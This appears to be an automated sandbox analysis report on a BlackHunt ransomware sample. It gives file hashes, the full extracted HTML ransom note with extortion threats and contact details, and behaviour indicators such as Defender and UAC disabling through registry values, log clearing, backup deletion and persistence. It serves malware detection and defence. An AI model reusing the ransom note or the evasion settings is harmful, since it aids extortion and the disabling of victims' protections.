db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 01:06

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General

Target

db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
Size

707KB
MD5

3969e1ae286fc9b3d1e8bf8eb0914d5b
SHA1

75b6371812c5c2384a66d027257127236712739a
SHA256

db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531
SHA512

a915163b7786c80056573e88c2f5963f387a9cae41383fb2ae720ccc8991d0b8d77b8a0679c6e660d29e764cfca902633a0dae0a53ee4adc3573ee8d797dfd60
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1k8mvnh:6uaTmkZJ+naie5OTamgEoKxLWnYh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> kKAZ1MC6haLRJ7f7 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3472	fsutil.exe
4792	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4740	wevtutil.exe
4684	wevtutil.exe
4676	wevtutil.exe
4752	wevtutil.exe
4864	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2804	bcdedit.exe
2340	bcdedit.exe
1816	bcdedit.exe
3120	bcdedit.exe

Renames multiple (2872) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2360	wbadmin.exe
5064	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3636	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\Z:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\E:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\U:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\J:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\K:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\Q:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\I:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\L:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\X:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\V:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\B:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\O:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\A:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\S:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\H:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\N:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\W:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\T:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\G:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\M:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\P:	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\masterix.gif	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_zh_CN.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfxrt.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_de_DE.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\calendars.properties	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9YDT	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_ja_4.4.0.v20140623020002.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\http.luac	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_ReadMe.hta	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.txt	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Hong_Kong	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\#BlackHunt_Private.key	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_ReadMe.hta	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Montevideo	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.zh_CN_5.5.0.165303.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Miquelon	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Aqtobe	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Magadan	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.hta	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_ja_4.4.0.v20140623020002.jar	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\#BlackHunt_ReadMe.txt	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-snaptracer.xml	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
File created	C:\Program Files (x86)\Adobe\#BlackHunt_ReadMe.txt	db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe
